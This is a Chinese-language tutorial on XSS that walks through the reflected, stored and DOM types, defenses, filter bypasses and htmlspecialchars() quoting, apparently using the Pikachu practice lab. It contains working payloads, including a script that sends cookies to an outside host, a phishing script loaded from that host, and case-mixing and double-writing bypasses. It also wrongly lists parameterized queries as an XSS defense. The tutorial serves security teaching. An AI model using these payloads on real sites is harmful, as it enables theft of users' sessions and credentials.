XSS全称(Cross Site Scripting)跨站脚本攻击,为了避免和CSS层叠样式表名称冲突,所以改为了XSS,是最常见的Web应用程序安全漏洞之一。
攻击者利用网站漏洞,通过在网站中注入恶意脚本,用户在访问该网站时候受到攻击,通常为JavaScript代码。
XSS原理
由于开发人员没有对输入输出数据做严格的过滤控制,导致恶意脚本注入到网页中,当其他用户访问该网页时被浏览器当作有效代码解析执行,从而产生危害。XSS攻击属于客户端攻击,最终受害者是用户。
XSS注入场景
一般在各类的社交平台,邮件系统,开源流行的Web应用,BBS,微博等场景中。
通常会在Web应用程序的输入框、评论框、搜索框等可输入内容的地方输入特定的脚本代码,这些代码可以被Web应用程序直接插入到网页中,导致访问网页的所有用户都会受到攻击。
XSS危害
盗取用户敏感信息
攻击者可以通过注入的恶意脚本盗取用户名、密码、cookie、sessionid,键盘记录等,发送至攻击者控制的网站或服务器中。
篡改用户页面内容
攻击者可以通过注入的恶意脚本修改网页中的文本、图片、链接等内容,从而欺骗用户,引诱用户进行一些不安全的操作,如点击链接、下载附件等。
XSS分类
反射型XSS
反射型XSS攻击又被称为非持久化跨站脚本攻击,交互数据不会存储在数据库里,把用户输入的数据反射给浏览器,一次性的。
弹窗提示,payload(攻击载荷)
<script>alert("xss")</script>
弹窗提示xss
获取用户cookie,payload(攻击载荷)
'"><script>document.location = 'http://172.28.25.41/pikachu/pkxss/xcookie/cookie.php?cookie=' + document.cookie;</script>
存储型XSS
存储型XSS攻击又被称为持久化跨站脚本攻击,交互数据存储在数据库里,永久性存储,用户每次访问,恶意脚本都会自动执行。
xss钓鱼,payload(攻击载荷)
'"><script src="http://172.28.25.41/pikachu/pkxss/xfish/fish.php"></script>'
测试环境配置 ,fish.php文件修改自己的IP地址
在留言板内注入payload
任何用户访问此页面,都会提示输入用户名密码
登录后台
查看钓鱼结果
DOM 型XSS
文档对象模型(Document Object Model,简称DOM),DOM是W3C组织制定的一个标准接口,DOM提供了对整个文档的访问模型,将文档作为一个树形结构,树的每个结点表示了一个HTML标签或标签内的文本项。不予数据库交互,仅仅涉及浏览器的xss,特殊的反射型xss。
弹窗提示,payload(攻击载荷)
'><img src="#" onmouseover="alert('xss')">
XSS防御
- 对输入进行过滤,对输入进行编码。
- 使用参数化查询或预处理语句。
- 使用WAF
XSS绕过
前端绕过
- 前端绕过可以尝试抓包重放。
- 修改前端html代码
后端绕过
- 可以尝试大小写混合绕过。
'"><sCRipT>alert('XSS')</sCrIPt>
- 可以尝试双写绕过。
'"><sc<script>ript>alert('XSS')</scr<script>ipt>
htmlspecialchars()函数
htmlspecialchars()函数的作用将输入内容转换为HTML实体。
语法:htmlspecialchars(string,flags,character-set,double_encode)
预定义的字符是:
& (和号) 成为 &
" (双引号)成为 "
’ (单引号)成为 '
< (小于) 成为 <
> (大于) 成为 >
导致script标签再输出的时候变成了<script>
过滤原理
htmlspecialchars() 函数把预定义的字符转换为 HTML 实体,从而使XSS攻击失效。但是这个函数默认配置不会将单引号和双引号过滤,只有设置了quotestyle规定如何编码单引号和双引号才能会过滤掉单引号。
ENT_COMPAT - 默认。仅编码双引号,也就是默认情况下不对单引号进行处理
ENT_QUOTES - 编码双引号和单引号
ENT_NOQUOTES - 不编码任何引号
单引号绕过htmlspecialchars()的payload
x' onclick='alexrt(111)'